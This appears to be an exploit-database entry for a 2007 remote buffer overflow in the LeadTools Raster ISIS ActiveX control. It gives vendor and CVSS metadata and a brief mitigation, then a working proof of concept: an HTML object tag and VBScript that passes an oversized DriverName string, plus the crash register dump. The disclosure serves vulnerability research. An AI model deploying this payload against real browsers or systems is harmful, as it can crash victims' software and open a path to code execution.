LeadTools Raster ISIS Object Remote Buffer Overflow Exploit

vendor:

LeadTools Raster ISIS Object

by:

shinnai

7.5

CVSS

HIGH

Buffer Overflow

CWE

Product Name: LeadTools Raster ISIS Object

Affected Version From: LTRIS14e.DLL v. 14.5.0.44

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP Professional SP2

2007

LeadTools Raster ISIS Object Remote Buffer Overflow Exploit

This exploit takes advantage of a buffer overflow vulnerability in the LeadTools Raster ISIS Object (LTRIS14e.DLL v. 14.5.0.44) library. By sending a specially crafted DriverName parameter, an attacker can cause a remote buffer overflow and potentially execute arbitrary code on the target system.

Mitigation:

Apply the latest patches and updates from the vendor. Avoid using software that relies on the vulnerable library.

Source

Exploit-DB raw data:

<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/27</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------
 <b>LeadTools Raster ISIS Object (LTRIS14e.DLL v. 14.5.0.44) Remote Buffer Overflow Exploit</b>
 url: http://www.leadtools.com/
 price: eheheh, take a look at thier site :)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.
-----------------------------------------------------------------------------------------
<object classid='clsid:00140797-B1BA-11CE-ABC6-F5B2E79D9E3F' id='test'></object>

<script language = 'vbscript'>
 buff = String(2000, "A")
 
 test.DriverName = buff
</script>

here is a dump:

EAX 41414141
ECX 41414141
EDX 008CC338 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
EBX 008C0000
ESP 0348F994
EBP 0348FBB4
ESI 008CC330 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
EDI 00000012
EIP 7C92142E ntdll.7C92142E

7C92142E   8B39             MOV EDI,DWORD PTR DS:[ECX] <-- CRASH
</span></span>
</code></pre>

# milw0rm.com [2007-05-30]